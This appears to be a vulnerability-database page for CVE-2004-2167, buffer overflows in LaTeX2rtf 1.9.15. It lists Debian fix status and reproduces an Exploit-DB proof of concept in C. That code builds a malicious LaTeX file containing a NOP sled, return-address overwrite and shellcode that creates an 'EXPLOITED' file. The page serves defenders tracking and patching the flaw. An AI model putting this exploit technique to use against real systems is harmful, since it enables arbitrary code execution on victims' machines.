CVE-2004-2167

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Multiple buffer overflows in LaTeX2rtf 1.9.15, and possibly other versions, allow remote attackers to execute arbitrary code via (1) the expandmacro function, and possibly (2) Environments and (3) TranslateCommand.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-24622 remote linux verified text · 3 KB
D. J. Bernstein · 2004-09-21

LaTeX2rtf 1.9.15 - Remote Buffer Overflow

text exploit Source: Exploit-DB
/*
source: https://www.securityfocus.com/bid/11233/info

It is reported that LaTeX2rtf is susceptible to a remote buffer overflow vulnerability when handling malformed files. This vulnerability may allow a remote attacker to execute arbitrary code on a vulnerable computer to gain unauthorized access. This issue is due to a failure of the application to perform proper bounds checks before copying data into a fixed sized memory buffer.

Version 1.9.15 of LaTeX2rtf is reported vulnerable to this issue. Other versions may also be affected.
*/

char center[] = {
  0x59                         /*   cx = *sp++                      */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0xc1, 0xe0, 0x07             /*   ax <<= 7                        */
, 0x50                         /*   *--sp = ax                 0600 */
, 0xb8, 0x12, 0x34, 0x56, 0x02 /*   ax = 0x02563412                 */
, 0xc1, 0xe8, 0x18             /*   ax >>= 24                       */
, 0xc1, 0xe0, 0x08             /*   ax <<= 8                        */
, 0x50                         /*   *--sp = ax          512:O_CREAT */
, 0x51                         /*   *--sp = cx          "EXPLOITED" */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0xb0, 0x05                   /*   ax = (ax & ~255) + 5            */
, 0x50                         /*   *--sp = ax               5:open */
, 0xcd, 0x80                   /*   syscall                         */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x50                         /*   *--sp = ax                    0 */
, 0x40                         /*   ++ax                            */
, 0x50                         /*   *--sp = ax               1:exit */
, 0xcd, 0x80                   /*   syscall                         */
} ;

int main()
 
  int i;

  printf("\\def\\row#1{");

  for (i = 0;i < 1024;++i)
    putchar('x');
  for (i = 0;i < 6;++i) {
    /* preserve args[0] */
    putchar(0x40); putchar(0x6d); putchar(0x08); putchar(0x08);
  }
  for (i = 0;i < 5;++i) {
    /* smasher */
    putchar(0x40); putchar(0xf9); putchar(0xbf); putchar(0xbf);
  }

  for (i = 0;i < 256;++i)
    putchar(0x90);

  putchar(0xeb); putchar(sizeof(center));
  /* 0xeb 0x07   means   ip += 7 */
  /* assuming here that center has at most 255 bytes */

  for (i = 0;i < sizeof center;++i)
    putchar(center[i]);

  putchar(0xe8);
  putchar(251 - sizeof center); putchar(0xff); putchar(0xff); putchar(0xff);
  /* 0xe8 0xf4 0xff 0xff 0xff   means   *--sp = ip; ip -= 12 */ 

  printf("EXPLOITED");

  printf("}\n");
  printf("\\begin{document}\n");
  printf("\\row a\n");
  printf("\\end{document}\n");
}

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1.9.16
sid Fixed 1.9.16
forky Fixed 1.9.16
bullseye Fixed 1.9.16
bookworm Fixed 1.9.16

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.